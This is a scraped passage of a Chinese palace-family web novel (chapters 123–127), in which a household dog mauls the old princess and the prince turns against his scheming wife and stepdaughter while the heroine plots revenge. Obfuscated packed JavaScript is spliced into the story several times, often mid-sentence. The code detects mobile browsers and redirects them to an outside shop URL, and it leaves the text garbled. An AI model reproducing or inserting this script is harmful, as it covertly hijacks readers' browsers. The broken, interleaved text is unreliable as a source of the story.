这些小丫鬟们不知天高地厚,在背后乱嚼主子舌根,奴婢奴婢才想着要教训她们,刚刚不过只是说几句,她们就不停求饶,甚至还惊扰了小姐” 顾时微微皱眉。 他的院子里下人也不少。 可从来没有一个下人在挨骂的时候,会是这种惊恐的神色。 转眼看到落霞苑的下人几乎都闻讯而来跪了一片,又看了一眼满脸孺慕看着自己的虞悦希,顾时心中烦乱。 只说了一句,“我荣郡王府虽说严厉,却也不至于不近人情,骂过了,下人知错了,就算了。” “女儿也是这么想的。”虞悦希一脸于心不忍地看着几个小丫鬟,“小红确实严厉了些。” 小红再次磕头,“是奴婢的错,求小姐恕罪。” 虞悦希摆了摆手,“这次就算了,都退下吧。” 几个丫鬟包括小红在内,都如获大赦,纷纷退下。 虞悦希满眼希冀地看着顾时,似乎对顾时的突然到来十分欢喜。 “顾叔叔是找悦悦有什么事吗?” “你这孩子,还跟爹爹犟上了。”手臂一紧,顾时再也顾不得细想其他,只好无奈扶额,随后心疼开口,“你娘亲还是担心你的伤,适才我问了一下刘大夫,你脸上的伤,适合用金疮药,我让陈十六去库房取了,稍后给你送过来,你现在还小,可千万不能留疤痕了。” “顾叔叔”虞悦希的声音有点哽咽,“你对悦悦真好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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靛青色的钱袋布料是绸缎,上面绣了简单的兰草,绣工尚算精美,大概是翠娥自己动手做的。 沈慕兮将钱袋推回给刘大夫。 “既然是她给你的,你收好便是。” “姑娘” 刘大夫受宠若惊想要推拒。 被沈慕兮阻止了,“这是你应得的。” 说着,她起身唤来了红豆。 早已在外头候着的红豆捧着打开的锦盒进了屋。 刘大夫看到锦盒里的东西,眼睛都直了。 锦盒里,是三根单条十两的金条及一根全须全尾的千年人参。 沈慕兮将锦盒合上,放到刘大夫手上。 刘大夫整个人弹跳往后退了几大步,“这姑娘帮小老儿治好了老伴的顽疾,对小老儿有恩,小老儿不能再受姑娘的礼了。” “刘老这是什么话?”沈慕兮佯装生气,“你帮我的大忙,若是连这点小小的意思都不收,那就是看不上我送的东西了?” 刘大夫有口难言。 他哪里是看不上,分明是东西太贵重,他不好意思收啊。 不说那些金条,光是那一株千年人参,就是有银子都不一定买得到 似是看不出他的纠结。 沈慕兮吩咐红豆,“既然刘老不好意思收,红豆,你亲自拿着这些东西上门送给刘婶子。” “别” 刘大夫连忙阻止,憨厚笑着将东西收下了,“这点东西,就不要麻烦她了,小老儿可不耐揍啊。” 熟知刘大夫的都知道,刘大夫惧内,老伴强势,向来说一不二。 要是让她老伴知道他悄悄替恩人办事还要让人送东西上门,不得揍死他? “不过,这些天,小老儿拿着这些东西实在打眼,不如,姑娘先帮小老儿暂存,等什么时候方便了,小老儿再来取?” 刘大夫笑着跟沈慕兮商量。 沈慕兮也没有再强硬要求,“行,既然刘老拿着不方便,回头我让人帮你放到钱莊上,刘老什么时候方便,直接拿着印信去取就可以了,婶子身体不好,这人参我回头遣人给你切片,你带回去给婶子泡茶喝或者平日无事含一下,对她的身体复原大有裨益。” “姑娘这这” 沈慕兮的做法,是刘大夫无论如何都没想到的。 原以为,他就那么客气一下,说放在这里,放着放着就忘了,结果 他哽声开口,“姑娘,实不相瞒,其实那个女子的胎不稳,即使咱们什么都不做,也留不到足月。” 一开始,刘大夫并不打算告诉沈慕兮这个事情。 可是 吃人嘴短,拿人手软 虽不知道姑娘要对那个孕妇要做什么,可是看到那一府人对姑娘让关照的小姑娘并不怎么上心,他大概也能猜到一二。 “可需要小老儿” “不,刘老,就让她好好安胎,”沈慕兮抬手阻止了刘大夫的话,“不仅要让她好好安胎,我还想请刘老帮忙,尽一切所能,让她的孩子留在肚子里久些。” 按照苏柳溪的性格,知道孩子保不住,肯定会找上筱筱。 与其让她留着肚子祸害筱筱,那她还不如先将她的肚子留一段时日。 “好,只要姑娘有吩咐,小老儿定会万死不辞。” “刘老言重了。” 沈慕兮笑着让红豆送人离开。 刘老离开后,沈慕兮脸上的笑容倏地阴沉了下来。 她目光深邃,似是在想些什么。 不多时。 一个体形高挑,面容冷淡的姑娘悄无声息进了屋。 “小姐,奴婢收到消息,那些人今晚要去动手挖什么骸骨。” 骸骨? 沈慕兮的手无意识地把玩鬓边的一缕发丝。 很快,她就想到了自己那具残缺的尸体。 “让落霞苑那边的人准备一下。” “是。” 高挑姑娘悄声退下。 深夜。 后罩房茅房。 几个鬼鬼祟祟的小厮跟在翠娥身后。 “翠娥姐,咱们这是要做什么?” “别问太多,挖。” 天上的薄云遮住了月亮半张脸,阴风阵阵。 即使没做过亏心事的人都莫名犯悚,更别说翠娥这种经常做不干净的事情了。 站在一旁看着小厮们挥汗如雨地挥锄头,她总觉得有人在她的脖子吹气,又像是有什么然往她的耳根后吹气。 她鸡皮疙瘩都起来了。 “快点,都没吃饭吗?” 她话音刚落下,“铛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287841|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 锄头接触到硬物的声音响起。 “挖到了。” 伴随一个小厮话音落下,另外在其他方位挥锄头的小厮连忙扔开锄头围在一起。 一手捂着鼻子一手跟第一个发现硬物的小厮用手扒拉泥土。 很快,几人就在一个带着味道的湿润土坑中找到他们想要的东西。 “翠 娥姐姐,您过来看看。” 几个小厮默契地给翠娥让了一条道。 翠娥努力按捺心中惶恐,缓步走到最新挖开的大坑跟前。 火光照耀下,她甚至感觉可能会有什么东西会在土里窜出来。 她猛然转身背对着土坑,颤抖着声音吩咐,“你们先将东西挖上来。” 半晌后,红布包裹着的瓷缸安静地躺在翠娥身前。 依然还是那个精美的瓷盅。 依旧用红布封着。 可是 “不对。” 翠娥好不容易壮起胆子看向瓷缸,第一眼看过去,她魂都快吓飞了。 “那个红布重新绑起来的结不对。” 翌日一大早,趁着顾时出门上了早朝,翠娥才敢惨白着脸来跟用早膳的苏柳溪汇报昨晚的事情。 “你说什么?” 苏柳溪听到翠娥的话,差点连手上的燕窝粥都端不稳。 “是谁换上去的猪骨头?” 翠娥跪在地上,一动不敢动,“奴奴婢不知” 苏柳溪气急攻心,小腹一阵阵坠痛传来。 她将手中描金瓷碗重重往桌上一搁。 “你你去查,挖地三尺,离开京城,也要给我查。” “是,奴婢这就去。” 翠娥走得很急,连带让苏柳溪也紧张起来。 “我还不信了。”她喃喃自语。 沈慕兮不过只是一个来自异世的孤女,在他们这里能遇到什么贵人? 肯定就是某个不长眼的东西,在丹阳受过沈慕兮的恩惠,所以才敢动她的东西 很快,她又推翻了这个想法。 不,沈慕兮的死,她做得干净,即使是顾时,也不一定能查到,区区下人,怎么可能会知道? “王妃,”不过片刻,本来出去办事的翠娥重新折返,回来的时候,还带了一个面生的小丫鬟,“落霞苑的一个粗使小丫鬟求见,说知道是谁换了瓷盅里的东西。” 第123章 老王妃被狗咬 在主院一片低沉气压的同时,荣辉堂的气氛也格外凝重怪异。 这些天在王府发生的事情,早已一字不落地传到了老荣郡王妃的耳中。 老荣郡王妃气得茶杯都砸了好几个。 “我早就说了,那对母女就是上不得台面的丧门星,以前她们住在王府的时候就是各种风波不断,好不容易把那两个丧门星赶走,府上有了几天消停的日子,结果那个小的又回来了” 舒婆子连忙给老荣郡王妃送上一盏新茶,心疼地给她顺气。 “祖宗啊,那些都是年轻人的事情,王爷会处理的,您莫要气坏了身子。” 老荣郡王妃结果茶盏抿了一口。 甘醇的茶香在口腔散开,微苦带着回甘。 她那颗暴躁的心总算缓和了些许,“我怎么可能不气,要是那小杂种不回来就什么事都没有了” 话到一半,她眼眸微微一亮,“对啊,我怎么就没想到呢?” 她拍了一下自己的脑袋,起身就要往外走。 舒婆子连忙跟上,“老祖宗您这是要去哪?” “自然是去敲打敲打那个不识趣的多事精了。” 半柱香后。 老荣郡王妃跟舒婆子还在前往碧水苑的路上。 舒婆子不放心地劝说,“老祖宗,要不咱们还是算了,现在王爷对小小姐护得紧,搞不好这一去,又把你们母子情分弄生分了。” “怎么可能?”老荣郡王妃自信开口,“我的孩子,难道我还不知道他的性子?” 嘴上说着重视,实际上,也重视不到几天。 他讨厌麻烦。 以前沈氏在时,就是这样。 若是他能够坚定些,不怕麻烦去细查清楚一些事情,只怕他跟沈氏就不至于成为怨偶。 她的一脸自信,动摇了舒婆子想要继续劝说的心思。 不等舒婆子开口,老荣郡王妃就一脸“我知道你想说什么”的神色,劝住了舒婆子。 “好啦,我心里都有数,若是她识趣,我敲打敲打就算了,要是她还是跟她那个娘一样倔,可就不能怪我了。” 说到这里,老荣郡王妃停下了脚步,无奈叹了一口气,“也不是我不近人情,我也要为荣郡王府的以后着想,现在府上的主母是柳儿,而柳儿还怀有我荣郡王府的子嗣,于情于理,我这个做婆母的也要为她撑腰。” 她的话音刚落,一阵发狂的狼狗声从另外一段出来。 “老祖宗小心。” 舒婆子想要挡在老荣郡王妃身前,被狼狗一下子扑倒在地,“咔嚓”一声脆响,舒婆子躺在地上好半天起不来。 跟在老荣郡王妃身后的人被吓得一阵慌乱。 “怎么会有狗?” “好像是王妃的狗。” “悦悦小姐也很喜欢这条狗,可千万不能伤了它。” 眼看大狼狗扑倒了舒婆子以后又迅速扑到老荣郡王妃身上将老荣郡王妃扑倒在地,而下人还在手忙脚乱不敢乱动那条狗。 舒婆子下半身动弹不得,只好提高声调训斥手忙脚乱的下人,“还不将这条恶犬拉开?惊扰了老王妃可如何是好?” 有几个下人想要上前拖开行凶的大狼狗。 奈何他们下手的时候都有所顾虑,最后还是让发狂的大狼狗钻了空子。 继在老荣郡王妃肩膀上咬下一个血淋淋的口子之后,它一口死死咬着老荣郡王妃的小腿不放。 “啊!!” 老荣郡王妃一声惨叫,大狼狗受惊,硬是在老荣郡王妃小腿咬下一大块血肉。 有一个小厮挥棍想要将狼狗乱棍打死,被另外一个小厮拉住了,“这是王妃跟悦悦小姐最喜欢的狗,你们打死了它,怎么跟王妃和悦悦小姐交代?” 迟疑间,大狗又咬上了那个举棍小厮的右手。 “救救命啊” 小厮一边跑一边呼救,大狼狗死死咬住小厮的右手不放。 其他下人趁着大狼狗跑开,连忙围上前将老荣郡王妃跟舒婆子扶起来。 舒婆子虽然不能站起来,到底也是醒着的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287842|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再看老荣郡王妃,早已昏死过去,爬满岁月痕迹的脸颊看上去格外惨白,由两个粗使婆子抬着。 “都愣着做什么,去请大夫啊。” 舒婆子快哭了。 这些狗东西,平日占便宜倒是机灵,真正摊上事,没一个能用的。 混乱间,顾时已经听到动静匆匆赶来。 看到下人们乱做一团,他眉头几乎已经拧成死结。 “到底发生了什么事?” 下人纷纷跪了一地。 “王爷。” 顾时这才看清浑身是血已经昏死过去的老荣郡王妃。 他脸色大变,“还跪什么?还不快去请大夫?” 半个时辰后。 荣寿堂。 刘大夫给老荣郡王妃包扎伤口以后,又给老荣郡王妃号了脉,好一会才神色凝重地走到顾时跟前。 “老王妃目前的伤势已无大碍,只是” 顾时心中一紧,“只是什么?” “老王妃的伤势伤及筋骨,以后若是想要行动无虞,只怕会很困难,而且” “而且?” 似是斟酌语言,刘大夫几乎是一个字一个字地往外蹦,“王妃被恶犬咬下血肉的伤口有了腐烂的迹象,长此以往,只怕王妃的左腿会保不住,所以,小老儿建议,把老王妃左小腿伤口周围的血肉挖干净,如此,才能保住老王妃的腿。” “为何?”顾时甚至不敢相信自己的耳朵,连语气都带着质问,“不过只是被狗咬了一口” 怎会这么严重? “若是普通犬只,也没有这种野兽一般的咬合力啊,”刘大夫无奈地叹气,“狼犬獠牙锋利且带着倒钩,常年吃生肉,牙齿容易带着一些寻常人看不到的疫症,而老王妃的伤口,很显然是已经染上了那种症状” 后面的话,刘大夫不敢再说下去。 顾时已经猜到了八九分。 他的脸色黑如锅底,冷眼看着守在老荣郡王妃床边的苏柳溪母女。 “你们还有什么话可说?” 第124章 这荣郡王府改姓苏了? 他的话音刚落,陈十六带着另外一个负责给舒婆子看诊的大夫回来了。 一看到顾时,陈十六像是找到了主心骨,立刻上前,“王爷,舒嬷嬷以后只怕不能行走了。” 舒婆子是老荣郡王妃的陪嫁丫鬟。 伺候了老荣郡王妃大半辈子 若是不能行走,那就意味着以后不能伺候老荣郡王妃 想起老荣郡王妃的骄纵,顾时只觉得天都要塌了。 “具体情况,属下请了尤大夫跟着属下一同前来,王爷若是有什么想要问的,只管开口。” 说完,陈十六给身后那个体型佝偻的干瘦老大夫让开了一条道。 “见过王爷。”在顾时的注视下,陈十六口中的尤大夫战战兢兢上前,“请恕小老儿无能,小老儿赶到之时,那位嬷嬷的下半身已经没了知觉,不管小老儿如何施针,她都毫无反应,连便溺都需要下人替换衣裳” 换言之,舒婆子现在不仅照顾不了老荣郡王妃,连生活都不能自理 顾时更加烦躁了。 来回走了几步之后,他似是下定了很大的决心,朝陈十六吩咐道,“去,寻几个手脚利落的婆子前来照顾老王妃,若是老王妃问起舒婆子,就说就说舒婆子这些天身体不适在休养,等身体养好了再回来伺候她。” 苏柳溪最先从老荣郡王妃不能行走的慌乱中反应过来。 “顾时哥,要不,这个事情交给我去办吧” 天狼的事情,若是能够征得老荣郡王妃的不追究,说不定还能有转机。 重要的是,天狼的最大作用还没发挥出来,她还不能让天狼有闪失。 “好了,你们就不要添乱了。” 顾时脸上的不耐烦无论如何都压不住。 “若是你能够好好管束女儿管束那条狗,就什么事情都没有。” 他的语气极重,苏柳溪甚至缓了好一会才反应过来,顾时在责怪她。 “顾时哥,天狼的事情,兴许只是误会” “误会?”顾时差点被气笑了,“现在我的亲生母亲还在昏迷不醒,一条腿可能都保不住了,你现在还跟我说那条狗咬了它是误会?” 天狼咬人已经不是第一次,苏柳溪没想到顾时这次的反应竟会这么大。 她噎了一下,努力维持自己在顾时面前的柔弱形象,“我不是这个意思。” “那你是什么意思?”顾时反问,不耐烦已经从神色转到语气上,“难道在这种情况下你还想保住这条恶犬?” 换言之,天狼保不住了。 顾时的态度已经说明一切。 苏柳溪知道这种时候若是跟他硬犟,只会让他更加厌恶。 她一脸委屈,最后什么都没说,只垂眸退到一边。 顾时扬声吩咐,“来人,将那条伤主的恶犬拖下去,乱棍打死,照顾恶犬的仆人,全数打二十大板再发卖出去。” 他余怒未消,声音陡然拔高了声调,吓了虞悦溪一跳。 直到现在,她才知道,顾时说要打死她的狗,不仅仅只是说说而已。 她可怜巴巴地上前哀求,“顾叔叔,天狼不是有意伤人的,求求你,放了它吧。” 顾时没有理会虞悦希,而是用冷淡的眼神瞥了一眼苏柳溪。 苏柳溪从没见过顾时会对虞悦希这么不耐烦,心中早已将早上丫鬟的告发抛诸脑后。 满脑子都是——她们母女二人不能前功尽弃。 她上前拉住了虞悦希,轻哄,“悦悦听话” “我不要。” 虞悦希态度强硬地挣开了苏柳溪的手,后退了一步,满眼失望地看着苏柳溪。 “之前天狼不也咬烂了顾筱筱的脸和咬死了顾筱筱的猫吗?可是天狼照样也是好好的” 苏柳溪觉察到虞悦希说话不对劲的时候,已经晚了。 她伸手想要捂住虞悦希的手,止不住顾时已经听到了她的话。 “你说什么?” “顾时哥悦悦怒极说的话,不可信。” 顾时一把拨开了拦在自己身前的苏柳溪,“那条恶犬,真的咬烂了筱筱的脸?” 那时候,下人只告诉他,是筱筱的猫惹怒了悦悦的狗,结果被天狼咬死了。 那时候,沈慕兮哭喊着要他打死那条恶犬,他还觉得沈慕兮大惊小怪。 当时那只猫惨死的场景还在。 筱筱满脸是血,哭得上气不接下气,他还以为,她脸上沾的是猫血 要是那条恶犬真的那样凶残咬死了筱筱的猫以及咬伤了筱筱 那 他都做了什么? 顾时的双手缓缓握成拳,整个人止不住在颤抖。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287843|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所以 那时候,溪溪跟悦悦,就已经在说谎了? “顾叔叔,悦悦求你” 虞悦希还在锲而不舍地给她的狗求情。 可顾时满脑子想的却是—— 筱筱之前被恶犬毁了脸,他不仅没有处置恶犬,还好吃好喝地招待;昨天她也差点被那条恶犬伤了,可他还是因为一时心软而放过了那条恶犬 虽然他对于恶犬的恶行并不知情,可是 筱筱会原谅他吗? 不远处传来了 狼狗的呜咽声。 似是心有所感,顾时抬头看向屋外。 刚才他下令的下人还在东张西望,那条恶犬,正在可怜巴巴地往虞悦希的方向看过来,虞悦希哀求的目光更加急切。 他不由得恼怒开口,“怎么,现在连本王说的话都不好使了?” 几个牵狗的下人纷纷身子一僵,就要退下。 虞悦希再也顾不得伪装,冲上前尖声拦住了下人的去路,“都不准去。” 几个下人再次停下来,征询的目光不是看向顾时,而是看向苏柳溪。 苏柳溪暗叫不好。 等她想开口解释的时候,顾时已经难以置信地转头看向她。 “本王竟不知,这荣郡王府,已经改姓苏了?” 这是顾时第一次在苏柳溪面前摆出荣郡王的架子。 苏柳溪愈发事态不在她的掌控之内,连忙解释,“顾时哥,不是这样的,悦悦年纪小,又得下人喜爱,下人顾着她一些,也是情有可原。” 顾时冷笑,“所以,本王母妃的性命,竟然还比不上你苏柳溪养的一条狗了?” 话题再次回到顾时耿耿于怀的“人不如狗”。 迎面而来的威压,苏柳溪后背早已爬满了冷汗。 就在她斟酌用词之际,角落一个小丫鬟突然窜了出来,跪在了顾时面前。 “王爷,求王爷一定要为老王妃主持公道啊,这些天您不在王府不知道,其实那条恶犬在府上一直都是横行霸道。 其实老王妃的腿可以不受伤的,最初恶犬扑倒老王妃,咬的是老王妃的肩膀,是下人们顾忌那条恶犬是悦悦小姐的爱犬,所以才不敢上前,给了恶犬机会奴婢,奴婢实在是心疼老王妃” 小丫鬟的哭诉,无疑是火上浇油。 第125章 虞悦希被恶犬伤了脸 尤其是顾时听到老王妃的腿受伤完全是因为下人顾忌苏柳溪母女。 他看向苏柳溪的眼神,锐利如刀。 “好,好得很,我把中馈交给你,你倒是一人得道,鸡犬升天了。” “顾时哥,你听我说” 眼看顾时随时想要对苏柳溪不利,虞悦希也顾不上天狼,大步跑回去苏柳溪跟前,以护卫之姿张开双臂,“顾叔叔,你既然娶了娘亲,那王府就是娘亲的家,娘亲掌家,下人敬她,有什么问题?” “悦悦,不要乱说。” 苏柳溪慌忙要捂住虞悦希的嘴,可还是慢了一步,“娘亲,顾叔叔要打死的是天狼,那是陪着悦悦长大的天狼啊。” 眼看顾时无动于衷,虞悦希更是口不择言,“对于天狼来说,人都是一样的,它哪里分得清谁能咬谁不能咬?被畜生咬了的人还要跟畜生计较,那岂不是连畜生都不如? 再说了,当初顾筱筱被咬了,顾叔叔不还说了顾筱筱大题小做,之后照样好吃好喝地让人伺候天狼吗?” 老王妃只是没了一条腿,可她的天狼,可是要被打死了啊。 “顾叔叔怎么可以这么冷血无情?” 顾筱筱来到荣辉堂的时候,刚好听到虞悦希提起当初她被咬的事情。 雪球的死,如今就像是扎在顾筱筱心里的一根尖刺,稍微动一动,就痛得她想要落泪。 事实上,走到顾时面前的那一刻,顾筱筱已经泪流满面。 为了她的雪球,也为了她跟娘亲。 “所以,爹爹你之前不是不知道这条恶犬咬了筱筱,只是爹爹觉得筱筱还不如一条恶犬重要,所以爹爹才会宁愿把所有的过错都推在筱筱身上,任由筱筱破相,对吗?” 顾时对顾筱筱突如其来的出现十分意外。 好不容易追上顾筱筱的婆子连忙朝顾时告罪。 “王爷,小小姐听到老王妃被咬了特地前来看望老王妃” 婆子告罪之际,顾筱筱已经哭着拿起棍子去打大狼狗。 “我要打死这条恶犬,给我的雪球和祖母报仇。” “筱筱听话,莫要胡闹。”顾时急忙上前将人拦下,夺走了她手上的棍子。 顾筱筱像是找到了发泄口,蹲在原地嗷嗷大哭。 哭声惨烈,顾时的心都快要被她哭碎了。 “筱筱乖,说来说去都是爹爹不好,爹爹以前识人不清,现在爹爹立刻让人打死那条恶犬,给筱筱和祖母出气,可好?” 一听到打死恶犬,顾筱筱立刻停止了哭泣,抬头,“爹爹你那是给我出气吗?分明就是给祖母出气。” 顾时有点心虚,“以前,是爹爹不对,以后,爹爹再也不会忽略你了。” 他再次真诚地向保证。 顾筱筱盯着顾时的眼睛看了好一会,才不情不愿地让顾时拉着她站起来。 “好,筱筱再信爹爹一次。” 说完,她打着哭嗝走退到一边。 觉察到虞悦希看向自己的眼神像是恨不得将她生吞活剥,她微微得意地朝虞悦希挑眉,目光带着挑衅。 虞悦希哪里受得了曾经被她踩在地底下的人这般羞辱? 她压根紧咬,还没来得及有下一步动作。 就听到了顾时吩咐陈十六亲自动手杀了那条恶犬。 顾时怒火冲天,陈十六根本不敢有半分忤逆,应“是”之后,提剑就要往外走。 虞悦希急忙追了出去,“陈十六,你不能杀天狼” 苏柳溪顾不得自己身怀六甲,上前抱着虞悦希不让她追出去,“悦悦,听话,以后娘亲再给你买一条更好的小狗,好不好?” “不好。” 虞悦希怒上心头,用尽全力推了一把苏柳溪。 苏柳溪毫无防备,整个人重重跌倒在地。 这一摔,她摔得眼冒金星,屋里的所有人顿时乱作一团。 虞悦希则趁着这个机会,是迅速往外跑,追上陈十六。 顾时看到这个光景,还哪有心思管那条狗死不死? 他连忙上前,将跌倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287844|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地的苏柳溪横抱起来。 “溪溪,你现在怎么样?” 因为小腹坠痛,苏柳溪脸色煞白,冷汗早已盈满前额。 “顾时哥,我没事,你去追,追悦悦” “已经有下人追出去了,现在你怎么样了?” 苏柳溪痛得几乎说不出话。 不知是哪个小丫鬟惊呼了一声—— “不好了,王妃见红了。” 顾时这时候才注意到,苏柳溪的裙子早已被染红了。 “大夫,快把刘大夫找来。” 半个时辰后。 主院。 刘大夫利落收针,擦了擦前额不存在的冷汗。 “好在救治及时,孩子总算保住了。” 顾时惊魂未定,“那她现在如何了?” “情况不太好,”刘大夫如实禀报,“王妃这些天最好卧床休养,因为这一摔,她这一胎极其不稳定,最好还是不要劳心劳力比较好。” 因为天狼一事,顾时早已有了收回苏柳溪手上中馈的打算。 刘大夫这么一说,他有了收回苏柳溪受伤中馈的理由 ,倒也没有太过纠结。 “本王知道了。” 就在这时,一个小厮在外头禀报,“王爷,悦悦小姐被恶犬伤了脸” “怎么会让她伤了脸?” 顾时震怒。 想到苏柳溪才刚脱险,刘大夫还暂时离不得。 他只好吩咐下人,另外去请大夫给虞悦希治伤。 落霞苑。 虞悦希咬牙切齿地用尽全力捶打不敢还手的陈十六。 “你个坏人,谁让你杀了天狼的?那是我的狗啊” 眼泪鼻涕血水糊了一脸,看上去格外狰狞。 陈十六自知理亏,一直在跟虞悦希告罪。 落霞苑的其他丫鬟婆子看不下去,一个个白着脸劝说虞悦希,“小姐,陈侍卫也是为了救你” “我让他救了吗?”虞悦希暴怒反问。 第126章 顾时对虞悦希失望 顾时在外面想要进屋的步子骤然一顿。 屋里分明还是那个乖巧的小姑娘。 小姑娘的声音也还是那个软和的嗓音。 可那跋扈的态度,却比一般纨绔还要嚣张无礼。 竟莫名让人生出了些厌恶。 屋里的人并没有觉察到顾时的到来。 辛婆子更是上前想要拉开遭罪的陈十六。 被虞悦希一把推开了。 “这里有你什么事?还不滚出去?” 她的声音沙哑而尖锐,刺得人耳膜生疼。 顾时忍无可忍,终于还是怒声开口,“够了。” 他带着大夫进了屋。 顾时进屋突然,以至于虞悦希狰狞的神色连转换的时间都没有。 半乖巧半狰狞的神色挂在脸上,看上去格外滑稽。 陈十六跟其他下人纷纷给顾时见礼,唯独虞悦希,敛去了狰狞神色后,兀自用一双通红的眸子可怜巴巴地看着他。 眼神脆弱又倔强,似是在等顾时的道歉。 顾时却连一个眼神都没有分给她,“尤大夫,给她看看脸。” 他的语气冷淡,连眼神也不似以往关切。 虞悦希心里陡然升起危机感。 脸上的痛感将她拉回现实,她的脑子甚至还没反应过来,手上已经比她的脑子快了一步。 “这么用力,你想痛死我吗?” 行云流水的动作躲过了所有下人的阻拦,一记响亮的耳光毫不留情地甩在尤大夫的脸上,尤大夫当场鼻血都被打了出来。 “放肆。” 顾时忍无可忍,满脸失望地看着一脸不知所措的虞悦希,“悦悦,你怎么会变成现在这个模样?” “顾叔叔,不是这样的,天狼死了,我只是一时心情不好” 她一时情急想要上前拉住顾时的衣袖解释,顾时毫不留情地退开了。 “心情不好?”他像是想到什么可笑的事情,嘴角勾起了冷笑,“以前筱筱冷苑的下人在你面前哭诉,你不也说过,心情不好不是随意打骂下人的理由?” 虞悦希没想到顾时竟然还记得这个事情。 那时候,顾筱筱跟她那个贱人娘刚回来冷苑的时候,顾时并不是对顾筱筱母女这么冷淡。 是她跟娘亲给了那个小丫鬟一些银钱,让小丫鬟趁着顾时陪她跟娘亲的时候出来哭诉自己被顾筱筱母女虐待 她当时善解人意地在顾时面前宽慰了小丫鬟。 苏柳溪提了一句可能是因为母女二人初到陌生的地方,感觉不到安全感,所以不好在所难免。 而她,则是义愤填膺地说了一句“心情不好不是随意打骂下人的理由” 她的脸上疼痛难忍,可是比不上心里难受。 说来说去,还是怪顾筱筱。 所有的事情,都是她回来以后惹出来的 这么一想,她对顾筱筱的怨恨又多了几分。 碍于顾时还在,她不好发作,只好一脸委屈地忍受脸上的疼痛,任由尤大夫跟药童为她清洗伤口。 也不知道尤大夫给她的脸用了什么药粉,撒在脸上又痒又痛。 好不容易熬到脸上的伤势被处理了,尤大夫什么话都不说,只一脸凝重地看着顾时。 “王爷,方便借一步说话吗?” 顾时看了一眼周围的下人,给了陈十六一个眼色。 陈十六很快就遣散了其他下人。 顾时这才跟着尤大夫的身后去了外头。 走廊下。 顶着半张肿脸的尤大夫为难地看向顾时,欲言又止。 顾时朝他微微扬了扬下巴,“有什么事情,但说无妨。” 他的语气真诚,不似那种嗜杀之人。 尤大夫这才鼓起勇气,闭上眼睛开口,“悦悦小姐脸上的伤,只怕需要剜去烂肉。” 顾时的呼吸微微一窒,“不过就是被狗咬” “那不仅仅只是简单的被狗咬。” 事关病人的实际情况,尤大夫脸上无比凝重,连肿起来的半张脸都顾不上了。 “老夫怀疑,那条狗,吃过不少人肉,所以牙齿里带了疫毒,悦小姐脸上有一处伤得特别厉害,已经开始有腐烂的迹象,只怕已经受到了感染,为了不波及另外一边脸,最好趁着她脸上的腐肉还未蔓延,将腐肉剜去” 尤大夫说了一串话,顾时的耳边只不断回荡着“吃人肉”几个字。 脑子里早已冒出了无数问题。 天狼吃人肉,溪溪知道吗?悦悦知道吗? 王府向来宽厚对待下人,哪来的人肉给那条狗吃? 不对 之前府上有些不长眼的,被乱棍打死了。 是溪溪处理的,难道 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对于顾时娶了苏柳溪,苏柳溪住进主院一事,她半点感觉都没有。 只庆幸自己能够有一次重来的机会,让她回来复仇。 今日她也算是在荣郡王府凑了一天的热闹,知道了苏柳溪跟虞悦希的现状是自身难保。 只要再找到顾时当初冒名顶替别人功劳的证据交给裴望,她就差不多可以大功告成。 第127章 藏起了沈慕兮遗落下来的帕子 她不知道后面的安排会不会让顾时伤心欲绝。 可是绝对能让顾时对苏柳溪恶心好一阵子。 想到这里,她的眼底漾出了一抹夹带扭曲快意的笑意。 